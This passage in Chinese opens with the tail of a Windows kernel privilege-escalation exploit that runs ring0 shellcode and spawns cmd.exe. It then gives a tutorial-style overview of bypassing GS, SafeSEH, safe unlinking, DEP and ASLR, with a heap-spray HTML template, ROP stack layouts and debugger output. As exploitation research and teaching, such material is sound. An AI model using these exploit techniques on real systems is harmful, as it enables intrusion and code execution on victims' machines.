(PVOID)MyShellCode,
ShellCodeSize);

printf(" * RtlMoveMemory:");
ShowAlertMsg();

// 通过调用NtQueryIntervalProfile函数来执行0x0上的ring0 shellcode
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
printf(" * NtQueryIntervalProfile:");
ShowAlertMsg();

NtStatus = NtClose(DeviceHandle);

printf(" * NtClose:");
ShowAlertMsg();
printf(" **************************************************************************\n");

WinExec("cmd.exe" , SW_SHOW);
printf(" * Exploit Successful!\n\n");

getchar();

}
}
}

return FALSE;
}

********************************** END ********************************************

0x3 结尾

写这个exploit,时间更多地是花在调试上面,遇到的主要问题就是写exploit时,在复制shellcode到分配的内存地址时,由于复制的字节数过大,导致因后面的内存不可读而显错,经过多次调试,将其调整为0xA00大小最为合适,另一个问题是在编译样章上的源码遇到的问题,由于粗心将符号链接名中的两斜杆\落掉了,导致编译成功后,可加载但不可启动,经过多次的内核调试才找到原因。很多问题都是如此,在找到问题根源后,总会令人大抱不值不该!本文只是内核漏洞利用的入门教程,希望能对初学者有所帮助!

Windows溢出保护原理与绕过方法概览

By : riusksk(泉哥)
Blog: http://riusksk.me
Data: 第1版:2010/10/26
第2版:2011/3/26

前言

从20世纪80年代开始,在国外就有人开始讨论关于溢出的攻击方式。但是在当时并没有引起人们的注意,直至后来经一些研究人员的披露后,特别是著名黑客杂志Phrack上面关于溢出的经典文章,引领许多人步入溢出研究的行列,从此关于缓冲区溢出的问题才为人们所重视。随着溢出研究的深入,网上开始出现很多关于溢出攻击教程,揭露了许多溢出利用技术,特别是经典的call/jmp esp,借此溢出攻击案例层出不穷。这也引起了微软的重视,他们在windows系统及VC++编译器上加入了各种溢出保护机制,以试图阻止这类攻击,可惜每次公布溢出保护机制之后,不久就有人公布绕过方法。MS每次都称某保护机制将成为溢出利用的末日,可惜每次都被终结掉。既而,黑客与微软之间的溢出斗争一直持续着。更多关于windows溢出的历史,可参见由Abysssec安全组织编写的文章《Past,Present,Future of Windows Exploitation》。在本篇文章中主要揭露了windows平台上的各种溢出保护机制原理以及绕过方法,具体内容参见下文。

一、GS编译选项

原理

通过VC++编译器在函数前后添加额外的处理代码,前部分用于由伪随机数生成的cookie并放入.data节段,当本地变量初始化,就会向栈中插入cookie,它位于局部变量和返回地址之间:

┏━━━━━━━━┓内存低地址
┃   局部变量    ┃▲
┣━━━━━━━━┫┃
┃security_cookie ┃┃
┣━━━━━━━━┫┃栈
┃  入栈寄存器   ┃┃生
┣━━━━━━━━┫┃长                       
┃     SEH节点  ┃┃方
┣━━━━━━━━┫┃向
┃    返回地址   ┃┃
┣━━━━━━━━┫┃
┃    函数参数   ┃┃
┣━━━━━━━━┫┃
┃    虚函数表   ┃┃
┗━━━━━━━━┛内存高地址

经GS编译后栈中局部变量空间分配情况:

1
2
3
4
sub   esp,24h
mov eax,dword ptr [___security_cookie (408040h)]
xor eax,dword ptr [esp+24h]
mov dword ptr [esp+20h],eax

在函数尾部的额外代码用于在函数返回时,调用security_check_cookie()函数,以判断cookie是否被更改过,当函数返回时的情况如下:

1
2
3
4
mov   ecx,dword ptr [esp+20h]
xor ecx,dword ptr [esp+24h]
add esp,24h
jmp __security_check_cookie (4010B2h)

在缓冲区溢出利用时,如果将恶意代码从局部变量覆盖到返回地址,那么自然就会覆写cookie,当检测到与原始cookie不同时(也就是比较上面408040h与4010B2h两处cookie值的比较),就会触发异常,最后终止进程。

绕过方法:

1.猜测/计算cookie

Reducing the Effective Entropy of GS Cookies
至从覆盖SEH的方法出现后,这种方法目前已基本不用了,它没有后面的方法来得简便。

2.覆盖SEH

由于当security_check_cookie()函数检测到cookie被更改后,会检查是否安装了安全处理例程,也就是SEH节点中保存的指针,如果没有,那么由系统的异常处理器接管,因此我们可以通过(pop pop ret)覆盖SEH来达到溢出的目的。但对于受SafeSEH保护的模块,就可能会导致exploit失效,关于它的绕过在后续部分再述。
辅助工具:OD插件safeSEH、pattern_create、pattern_offset、msfpescan、memdump

3.覆盖虚表指针

堆栈布局:[局部变量][cookie][入栈寄存器][返回地址][参数][虚表指针]
当把虚表指针覆盖后,由于要执行虚函数得通过虚表指针来搜索,即可借此劫持eip。

二、SafeSEH

原理

为了防止SEH节点被攻击者恶意利用,微软在.net编译器中加入/safeseh编译选项引入SafeSEH技术。编译器在编译时将PE文件所有合法的异常处理例程的地址解析出来制成一张表,放在PE文件的数据块(LQAJ)一C0N—FIG)中,并使用shareuser内存中的一个随机数加密,用于匹配检查。如果该PE文件不支持safeSEH,则表的地址为0。当PE文件被系统加载后,表中的内容被加密保存到ntdl1.dll模块的某个数据区。在PE文件运行期间,如果发生异常需要调用异常处理例程,系统会逐个检查该例程在表中是否有记录:如果没有则说明该例程非法,进而不执行该异常例程。

绕过方法

1.利用堆地址覆盖SEH结构

在禁用DEP的进程中,异常分发例程允许SEH handler位于某些非映像页面,除栈空间之外。这也就意味着我们可以把shellcode放置在堆中,并通过覆盖SEH跳至堆空间以执行shellcode,这样即可完全绕过safeseh保护。

2.利用SafeSEH保护模块之外的地址

对于目前的大部分windows操作系统,其系统模块都受SafeSEH保护,可以选用未开启SafeSEH保护的模块来利用,比如漏洞软件本身自带的dll文件,这个可以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。除此之外,也可通过直接覆盖返回地址(jmp/call esp)来利用。另一种方法,如果esp +8 指向EXCEPTION_REGISTRATION 结构,那么你仍然可以寻找一个pop/pop/ret指令组合(在加载模块的地址范围之外的空间),也可以正常工作。但如果你在程序的加载模块中找不到pop/pop/ret 指令,你可以观察下esp/ebp,查看下这些寄存器距离nseh 的偏移,接下来就是查找这样的指令:

1
2
3
4
call dword ptr[esp+nn] / jmp dword ptr[esp+nn]                                                                        
call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn]
call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
(其中的nn 就是寄存器的值到nseh 的偏移,偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。

如果遇到以上指令是以NULL字节结尾的,可将shellcode放置在SEH之前:
• 在nseh 上放置向后的跳转指令(跳转7 字节:jmp 0xfffffff9);
• 向后跳转足够长的地址以存放shellcode,并借此执行至shellcode;
• 把shellcode 放在用于覆盖异常处理结构的指令地址之前。

三、Safe Unlinking

原理

在Windows XP SP2之后,堆分配器在从空闲链表中移除堆块时使用safe unlinking进行保护,防止堆溢出被利用。在使用flink和blink指针前,它会验证是否满足以下条件:Entry->Flink->Blink == Entry->Blink->Flink == Entry,以防止攻击者使flink或blink指向任意内存地址,进而消除在执行unlink操作时写入任意4字节数据的机会。

绕过方法:

1.利用旁视列表(lookaside list)

旁视列表(《软件调试》),也叫快表(《0day安全:软件漏洞分析技术》),它是一张链表,共包含128 项,每一项对应于一个单向链表。每个单向链表都包含了一组固定大小的空闲块,堆块的大小从16 字节开始随索引递增依次增加8字节。最后一个索引(127)包含了大小为1024 字节的空闲堆块。每个堆块包含了8 个字节的块首,用于管理这个堆块。返回给调用者的最小堆块是16 字节。这样,旁视列表前端分配器没有使用索引为0的项,因为这个项对应于大小为8 个字节的空闲堆块。由于在safe unlinking过程中,快表被忽略了,当在快表中分配一块空闲块后,若将该空闲块从链表中移除,则该块的flink指针会写入块首,而系统并未对flink指针的有效性进行验证,这样就导致在分配下一个同大小的堆块时,它将会把flink指针返回给新分配的块。如果攻击者能够覆盖快表中的链表头,那么就可以用任意地址来替换flink指针,并在分配新块时写入任意字节,最后返回被我们修改的地址的值。这一攻击方式最早是由Matt Conover在CanSecWest 2004黑客大会上公布的《Windows Heap ExploitationWin2KSP0 through WinXPSP2)》
实现步骤如下:

1
2
3
4
p = HeapAlloc(n);
FillLookaside(n);
HeapFree(p);
EmptyLookaside(n);

利用以下值篡改 p[0](任一堆地址):

1
2
3
4
5
6
p->Flags = Busy (防止偶然发生堆块合并)
p ->Flink = (BYTE *)&ListHead[(n/8)+1] - 4
p ->Blink = (BYTE *)&ListHead[(n/8)+1] + 4
HeapAlloc(n); // 破坏 safe unlinking
p = HeapAlloc(n); // 破坏 safe unlinking
// 现在p指向 &ListHead[(n/8)].Blink

但在Windows Vista之后,快表被低碎片堆(Low-Fragmentation Heap)所代替了,上面的攻击方式就不再适用了。

2.heap spary

Heap Spary技术最早是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要作为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,因此只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就可以执行shellcode,这些堆块可以用NOP + shellcode 来填充,每块堆构造1M大小即可,当然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<script>

Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";

var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}

var s= '';
while (s.length < 748)
{
s+="\x0c";
}
target.Overflow(s);

</script>
</body>
</html>

四、Heap Cookie及其加密

原理

在heap header中加入cookie值,原理与栈中的cookie类似,用于检测堆溢出的发生,cookie被放置在堆首部分原堆块的segment table的位置,占1字节大小,其计算公式如下:

1
(AddressOfChunkHeader / 8) XOR Heap->Cookie = Cookie

即堆块头部地址除以8,然后跟Heap管理结构中的cookie相异或就得到了cookie值。

绕过方法

1.猜测/计算cookie

由于cookie只有1字节,因此共有256种可能存在的值,如果通过暴力猜测的话,也是存在被破解的可能。

2.heap spary

具体利用方法同上,这里不再赘述。

三、DEP

原理

数据执行保护 (DEP) 是一套软硬件技术,能够在内存上执行额外检查以防止在不可运行的内存区域上执行代码。在 Microsoft Windows XP Service Pack 2、 Microsoft Windows Server 2003 Service Pack 1 、Microsoft Windows XP Tablet PC Edition 2005 、Microsoft Windows Vista 和 windows 7 中,由硬件和软件一起强制实施 DEP。DEP 有两种模式,如果CPU 支持内存页NX 属性, 就是硬件支持的DEP。只有当处理器/系统支持NX/XD位(禁止执行)时,windows才能拥有硬件DEP,否则只能支持软件DEP,相当于只有SafeSEH保护。

绕过方法:

1.ret2lib

其思路为:将返回地址指向lib库中的代码,而不直接跳转到shellcode 去执行,进而实现恶意代码的运行。可以在库中找到一段执行系统命令的代码,比如system()函数,用它的地址覆盖返回地址,此时即使NX/XD 禁止在堆栈上执行代码,但库中的代码依然是可以执行的。函数system()可通过运行环境来执行其它程序,例如启动Shell等等。另外,还可以通过VirtualProtect函数来修改恶意代码所在内存页面的执行权限,然后再将控制转移到恶意代码,其堆栈布局如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓      
┃ ┃ 恶意代码 ┃内存高地址
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ lpflOldProtect ┃┃
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ flNewProtect ┃┃栈
┃ 调用参数 ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ dwSize ┃┃生
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ lpAddress ┃┃长
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ 恶意代码的入口地址 ┃┃方
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ 返回地址 ┃ VirtualProtect函数地址 ┃┃向
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ EBP上层函数堆栈基址 ┃ ┃┃
┣━━━━━━━━━━━━┫ ┃┃
┃ 异常例程入口地址(若有 ┃  填充数据的覆盖区域 ┃┃
┃设置的话,比如try…catch)┃ (AAAAAAAA……) ┃┃
┣━━━━━━━━━━━━┫ ┃▼
┃ 局部变量 ┃ ┃内存低地址
┗━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━┛

由于后期系统dll加入了ASDL保护,因此我们可以选用未开启ASLR的第三方DLL文件,示例如下(这里使用迅雷IE插件):

1
2
3
4
5
XunleiBHO7.1.6.2194.dll(DEP/ NO ASLR)
.text:211D18F5 call ds:VirtualProtect
.text:211D18FB pop esi
.text:211D18FC pop ebp
.text:211D18FD retn 0Ch

栈空间布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
41414141  垃圾字节(共3088字节)
……
211D18F5 返回地址
41414141 平衡堆栈(视漏洞函数的具体情况而定)

07c50000 lpAddress(shellcode地址)
00001000 dwSize
00000040 flNewProtect (PAGE_EXECUTE_READWRITE)
07c50020 lpflOldProtect (可写地址)

41414141 平衡 pop esi 使用的堆栈
41414141 平衡 pop ebp 使用的堆栈
07c50000 返回地址,指向shellcode

在一次实际利用中,我使用了COMODO主动防御软件中的guard32.dll来定位VirtualProtect函数:

1
2
3
4
5
6
7
8
9
10
11
#1002CA33  -FF25 E8F30310    JMP DWORD PTR DS:[1003F3E8]  [Module : guard32.dll]
# jmp to here
#6FFF04C0 8BFF MOV EDI,EDI
#6FFF04C2 55 PUSH EBP
#6FFF04C3 8BEC MOV EBP,ESP
#6FFF04C5 -E9 E64BFF06 JMP kernel32.76FE50B0
# jmp to here
#76FE50B0 5D POP EBP
#76FE50B1 ^E9 02D0FBFF JMP <JMP.&API-MS-Win-Core-Memory-L1-1-0.VirtualProtect>
# jmp to here
#76FA20B8 -FF25 1019FA76 JMP DWORD PTR DS:[<&API-MS-Win-Core-Memory-L1-1-0.VirtualProtect>; KERNELBA.VirtualProtect

关于ret2lib技术的更多信息可参考资料:http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

2.利用TEB突破DEP

在之前的《黑客防线》中有篇文章《SP2下利用TEB执行ShellCode》,有兴趣的读者可以翻看黑防出版的《缓冲区溢出攻击与防范专辑》,上面有这篇文章。该作者在文中提到一种利用TEB(线程环境块)来突破DEP的方法,不过它受系统版本限制,只能在XP sp2及其以下版本的windows系统上使用,因为更高版本的系统,其TEB地址是不固定的,每次都是动态生成的。该方法的具体实现方法如下:
(1)将返回地址覆盖成字符串复制函数的地址,比如lstrcpy,memcpy等等;
(2)在返回地址之后用目标内存地址和shellcode地址覆盖,当执行复制操作时,就会将shellcode复制到目标内存地址,该目标内存地址位于TEB偏移0xC00的地方,它有520字节缓存用于ANSI-to-Unicode函数的转换;
(3)复制操作结束后返回到shellcode地址并执行它。
此时其堆栈布局如下:

1
2
3
4
5
6
7
8
┏━━━━━━━┓
【shellcode 】
【save ebp 】
【lstrcpy 】
【TEB缓存地址 】<= 用于复制结束后返回到shellcode
【TEB缓存地址 】
【ShellCode地址 】
┗━━━━━━━┛

3.利用NtSetInformationProcess关闭DEP

关于此方法最原始的资料应该是黑客杂志《uninformed》上的文章《Bypassing Windows Hardware-enforced Data Execution Prevention》,另外也可以看下本人之前翻译的《突破win2003 sp2中基于硬件的DEP》,此方法的主要原理就是利用NtSetInformationProcess()函数来设置KPROCESS 结构中的相关标志位,进而关闭DEP,KPROCESS结构中相关标志位情况如下:

1
2
3
4
5
6
7
8
9
10
11
0:000> dt nt!_KPROCESS -r
ntdll!_KPROCESS
. . .
+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

当DEP 被启用时,ExecuteDisable 被置位,当DEP 被禁用,ExecuteEnable 被置位,当Permanent 标志置位时表示这些设置是最终设置,不可更改。代码实现:

1
2
3
4
5
6
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // ProcessHandle = -1
ProcessExecuteFlags, // ProcessInformationClass = 0x22(ProcessExecuteFlags)
&ExecuteFlags, // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4

具体实现思路(以我电脑上VirtualBox虚拟机下的xp sp3为例):
1) 将al设置为1,比如指令mov al,1 / ret,然后用该指令地址覆盖返回地址:

1
2
3
4
5
6
7
8
9
0:000> lmm ntdll
start end module name
7c920000 7c9b3000 ntdll (pdb symbols) c:\symbollocal\ntdll.pdb\1751003260CA42598C0FB326585000ED2\ntdll.pdb
0:000> s 7c920000 l 93000 b0 01 c2 04
7c9718ea b0 01 c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56 ............U..V
0:000> u 7c9718ea
ntdll!NtdllOkayToLockRoutine:
7c9718ea b001 mov al,1
7c9718ec c20400 ret 4

由于上面的ret 4,因此要再向栈中填充4字节(比如0xffffffff)以抵消多弹出的4字节,如果选择的指令刚好是ret则无须再多填充4字节。

2) 跳转到ntdll!LdrpCheckNXCompatibility中的部分代码(从cmp al,1 开始,可通过windbg下的命令uf ntdll!LdrpCheckNXCompatibility来查看其反汇编代码),比如以下地址就需要用0x7c93cd24来覆写堆栈上的第二个地址:

1
2
3
4
5
ntdll!LdrpCheckNXCompatibility+0x13:
7c93cd24 3c01 cmp al,1
7c93cd26 6a02 push 2
7c93cd28 5e pop esi
7c93cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 之前已将al置1,故此处实现跳转

3) 上面跳转后来到这里:

1
2
3
4
5
6
7
8
9
0:000> u 7c95f70e
ntdll!LdrpCheckNXCompatibility+0x1a:
7c95f70e 8975fc mov dword ptr [ebp-4],esi ; [ebp-0x4]= esi = 2
;执行到这里的时候会发现ebp-4(41414141-4 = 4141413d)而导致不可写,因此我们需要在前面调整下ebp的值,比如可以使用以下指令:
;- push esp / pop ebp / ret
;- mov esp,ebp / ret
;或者其它可调整ebp为可写地址的指令

7c95f711 e919d6fdff jmp ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f)

4) 上面跳转后来到:

1
2
3
4
0:000> u 7c93cd2f
ntdll!LdrpCheckNXCompatibility+0x1d:
7c93cd2f 837dfc00 cmp dword ptr [ebp-4],0
7c93cd33 0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ; 由于不相等再次实现跳转

5) 上面跳转后来到:

1
2
3
4
5
6
7
8
9
10
0:000> u 7c956831
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04 push 4 ;ProcessInformationLength = 4
7c956833 8d45fc lea eax,[ebp-4]
7c956836 50 push eax ;ProcessInformation = 2(MEM_EXECUTE_OPTION_ENABLE)
7c956837 6a22 push 22h ;ProcessInformationClass = 0x22(ProcessExecuteFlags)
7c956839 6aff push 0FFFFFFFFh
7c95683b e84074fdff call ntdll!ZwSetInformationProcess (7c92dc80)
7c956840 e92865feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)
7c956845 90 nop

在这里调用函数ZwSetInformationProcess(),而其参数也刚好达到我们关闭DEP的各项要求.

6) 最后跳转到函数结尾:

1
2
3
4
5
0:000> u 7c93cd6d
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e pop esi
7c93cd6e c9 leave
7c93cd6f c20400 ret 4

最后的堆栈布局应为:

1
2
3
4
5
6
7
8
9
10
11
┏━━━━━━━━━━━━━━━━┓
【 AAA…… 】 <= 填充数据
【 push esp/pop ebp/ret 】 <= 调整ebp为可写地址
【 al=1地址 】 <= 返回地址
【 0xffffffff 】 <= 平衡堆栈
【LdrpCheckNXCompatibility指令地址】 <= 指令cmp al,0x1 的起始地址
【 0xffffffff 】 <= 平衡堆栈
【 "A" x 54 】 <= 调整NX禁用后的堆栈
【 call/jmp esp 】
【 shellcode 】
┗━━━━━━━━━━━━━━━━┛

如果在禁用NX后,又需要读取esi或ebp,但此时它们又被我们填充的数据覆盖掉了,那么我们可以使用诸如push esp/pop esi/ret或者push esp/pop ebp/ret这样的指令来调整esi和ebp,以使关闭DEP后还能够正常执行。
辅助工具:ImmDbg pycommand插件(!pvefindaddr depxpsp3 + !findantidep)

4.利用SetProcessDEPPolicy来关闭DEP

适用在:Windows XP SP3,Vista SP1 和Windows 2008。
为了能使这个函数有效,当前的DEP 策略必须设成OptIn 或者OptOut。如果策略被设成
AlwaysOn(或者AlwaysOff),然后SetProcessDEPPolicy 将会抛出一个错误。如果一个模块
是以/NXCOMPAT 链接的,这个技术也将不会成功。最后,同等重要的是,它这能被进程调
用一次。因此如果这个函数已经被当前进程调用(如IE8,当程序开始时已经调用它),它
将不成功。
Bernardo Damele 写了一篇关于这一技术的博文《DEP bypass with SetProcessDEPPolicy()》
函数原型如下:

1
2
3
BOOLWINAPI SetprocessDEPPolicy(
__in DWORD dwFlags
);

DWORD dwDWORD dw这个函数需要一个参数,并且这个参数必须设置为0,以此禁用当前进程的DEP。
为了在ROP 链中使用这个函数,你需要在栈上这样设置:
●指向SetProcessDEPPolicy 的指针
●指向shellcode 的指针
●0
指向shellcode 的指针用于确保当SetProcessDEPPolicy()执行完ROP链后会跳到shellcode。
在XP SP3 下SetProcessDEPPolicy 的地址是7C8622A4(kernel32.dll)

5.利用WPN与ROP技术

ROP(Return Oriented Programming):连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列。
WPM(Write Process Memory):利用微软在kernel32.dll中定义的函数比如:WriteProcess Memory函数可将数据写入到指定进程的内存中。但整个内存区域必须是可访问的,否则将操作失败。
具体实现方法参见我之前翻译的文章《利用WPN与ROP技术绕过DEP》:http://bbs.pediy.com/showthread.php?t=119300

6.利用SEH 绕过DEP

启用DEP后,就不能使用pop pop ret地址了,而应采用pop reg/pop reg/pop esp/ret 指令的地址,指令pop esp 可以改变堆栈指针,ret将执行流转移到nseh 中的地址上(用关闭NX 例程的地址覆盖nseh,用指向pop/pop/pop esp/ret 指令的指针覆盖异常处理器)。
辅助工具:ImmDbg插件!pvefindaddr

四、ASLR

原理

ASLR(地址空间布局随机化)技术的主要功能是通过对系统关键地址的随机化,防止攻击者在堆栈溢出后利用固定的地址定位到恶意代码并加以运行。它主要对以下四类地址进行随机化:
(1)堆地址的随机化;
(2)栈基址的随机化;
(3)PE文件映像基址的随机化;
(4)PEB(Process Environment Block,进程环境块)地址的随机化。
它在vista,windows 2008 server,windows7下是默认启用的(IE7除外),非系统镜像也可以通过链接选项/DYNAMICBASE(Visual Studio 2005 SP1 以上的版本,VS2008 都支持)启用这种保护,也可手动更改已编译库的dynamicbase 位,使其支持ASLR 技术(把PE 头中的DllCharacteristics 设置成0x40 -可以
使用工具PE EXPLORER 打开库,查看DllCharacteristics 是否包含0x40 就可以知道是否支持ASLR 技术)。另外,也可以使用Process Explorer来查看是否开启ASLR。启用ASLR后,即使你原先已经成功构造出exploit,但在系统重启后,你在exploit中使用的一些固定地址就会被改变,进而导致exploit失效。

绕过方法:

1.覆盖部分返回地址

对比下windows7系统启动前后OD中loaddll.exe的各模块基址,启动前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
可执行模块
基址 大小 入口 名称 文件版本 路径
00400000 00060000 00410070 loaddll D:\riusksk\TOOL\Ollydbg\loaddll.exe
6DDE0000 0008C000 6DDE1FFF AcLayers 6.1.7600.16385 ( C:\Windows\AppPatch\AcLayers.dll
710E0000 00012000 710E1200 mpr 6.1.7600.16385 ( C:\Windows\System32\mpr.dll
71C50000 00051000 71C79834 winspool 6.1.7600.16385 ( C:\Windows\System32\winspool.drv
747F0000 00017000 747F1C89 userenv 6.1.7600.16385 ( C:\Windows\System32\userenv.dll
750A0000 0001A000 750A2CCD sspicli 6.1.7600.16385 ( C:\Windows\System32\sspicli.dll
750C0000 0004B000 750C2B6C apphelp 6.1.7600.16385 ( C:\Windows\System32\apphelp.dll
75190000 0000B000 75191992 profapi 6.1.7600.16385 ( C:\Windows\System32\profapi.dll
75420000 0004A000 75427A9D KERNELBA 6.1.7600.16385 ( C:\Windows\system32\KERNELBASE.dll
75B50000 0000A000 75B5136C LPK 6.1.7600.16385 ( C:\Windows\system32\LPK.dll
75B60000 0004E000 75B6EC49 GDI32 6.1.7600.16385 ( C:\Windows\system32\GDI32.dll
……

系统重启后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
可执行模块
基址 大小 入口 名称 文件版本 路径
00400000 00060000 00410070 loaddll D:\riusksk\TOOL\Ollydbg\loaddll.exe
6F510000 0008C000 6F511FFF AcLayers 6.1.7600.16385 ( C:\Windows\AppPatch\AcLayers.dll
715B0000 00012000 715B1200 mpr 6.1.7600.16385 ( C:\Windows\System32\mpr.dll
72170000 00051000 72199834 winspool 6.1.7600.16385 ( C:\Windows\System32\winspool.drv
74C70000 00017000 74C71C89 userenv 6.1.7600.16385 ( C:\Windows\System32\userenv.dll
75520000 0001A000 75522CCD sspicli 6.1.7600.16385 ( C:\Windows\System32\sspicli.dll
75540000 0004B000 75542B6C apphelp 6.1.7600.16385 ( C:\Windows\System32\apphelp.dll
75610000 0000B000 75611992 profapi 6.1.7600.16385 ( C:\Windows\System32\profapi.dll
75690000 0004A000 75697A9D KERNELBA 6.1.7600.16385 ( C:\Windows\system32\KERNELBASE.dll
759B0000 000CC000 759B168B msctf 6.1.7600.16385 ( C:\Windows\System32\msctf.dll
75E60000 000AC000 75E6A472 msvcrt 7.0.7600.16385 ( C:\Windows\system32\msvcrt.dll
75F10000 0004E000 75F1EC49 GDI32 6.1.7600.16385 ( C:\Windows\system32\GDI32.dll
……

由此可见,各模块基址的高位是随机变化的,而低位是固定不变的,这里loaddll.exe不受ADSL保护,所以其基址没有随机化,如果是Notepad.exe就有启用ASLR,还有其它经链接选项/DYNAMICBASE编译的程序也会启用ASLR。因此我们可以让填充字符只覆盖到返回地址的一半,由于小端法机器的缘故,其低位地址在前,因此覆盖到的一半地址刚好处于低位,而返回地址的高位我们让它保持不变,所以我们必须在返回地址之前的地址范围内(相当于漏洞函数所在的255字节空间地址)查找出一个可跳转到shellcode的指令,比如jmp edx(关键看哪一寄存器指向shellcode)。除此之外,我们还必须将shellcode放在返回地址之前,不然连返回地址的高位也覆盖掉了,这是不允许的。纵观此法,相当的有局限性,如果漏洞函数过短,可能就没有我们需要的指令了,这时就得另寻他法了。

2.利用未启用ASLR的模块地址

这与之前绕过SafeSEH的方法类似,直接在未受ASLR保护的模块中查找跳转指令的地址来覆盖返回地址或者SEH结构,比如上方的可执行模块列表中的loaddll.exe地址就是固定不变,因此我们借助其地址空间中的指令来实现跳板。这个可以通过Process Explorer或者ImmDbg命令插件来查看哪些可执行模块未受ASDL保护!ASLRdynamicbase或者(!pvefindaddr noaslr):来查看哪些进程模块启用ASLR保护。

3.heap spary

具体利用方法同上,这里不再赘述。

4.利用内存信息泄漏

通过获取内存中某些有用的信息,或者关于目标进程的状态信息,攻击者通过一个可用的指针就有可能绕过ASLR。这种方法还是十分有效的,主要原因如下:
(1)可利用指针检测对象在内存中的映射地址。比如栈指针指向内存中某线程的栈空间地址,或者一静态变量指针可泄露出某一特定DLL/EXE的基址。
(2)通过指针推断出其他附加信息。比如栈桢中的桢指针不仅提供了某线程栈空间地址,而且提供了栈桢中的相关函数,并可通过此指针获得前后栈桢的相关信息。再比如一个数据段指针,通过它可以获得其在内存中的映像地址,以及单数据元素地址。若是堆指针还可获得已分配的数据块地址,这些信息在程序攻击中还是着为有用的。
在Vista系统的ASLR中,信息泄漏的可用性更广了。如果攻击者知道内存中某一映射地址,那么他不仅可获取对应进程中的DLL地址,连系统中运行的所有进程也会遭殃。因为其他进程在重新加载同一DLL时,是通过特定地址上的_MiImageBitMap变量来搜索内存中的DLL地址的,而这一bitmap又被用于所有进程,因此找到一进程中某DLL的地址,即可在所有进程的地址空间中定位出该DLL地址。

5.利用SystemCall

(1)在SystemCall 地址0x7ffe0300上是没有被随机化的,下面是我在win7 中文旗舰版上的情况:

1
2
3
4
5
6
7
8
9
10
0:000> dt _KUSER_SHARED_DATA 0x7ffe0000
ntdll!_KUSER_SHARED_DATA

+0x300 SystemCall : 0x77966340
+0x304 SystemCallReturn : 0x77966344

0:000> u 77966340
ntdll!KiFastSystemCall:
77966340 8bd4 mov edx,esp
77966342 0f34 sysenter

(2)– Windows 用户模式进入内核模式时:

1
2
3
4
5
6
0:000> u ZwCreateProcess
ntdll!NtCreateProcess:
77964940 b84f000000 mov eax,4Fh
77964945 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7796494a ff12 call dword ptr [edx]
7796494c c22000 ret 20h

– 通过手工构造System Call的参数
– 并且用System Call的技术来绕过DEP&ALSR

(3)IE MS08-078 exploit with SystemCall on windows
– 通过堆喷射的方法在内存中填充SystemCall的地址
– 在exploit中使用SystemCall地址

1
2
3
4
5
6
.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8
…. // 0x11c8 be a systemcall ID
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE0300] SystemCall

以上代码等同于调用NtUserLockWorkStation

1
2
3
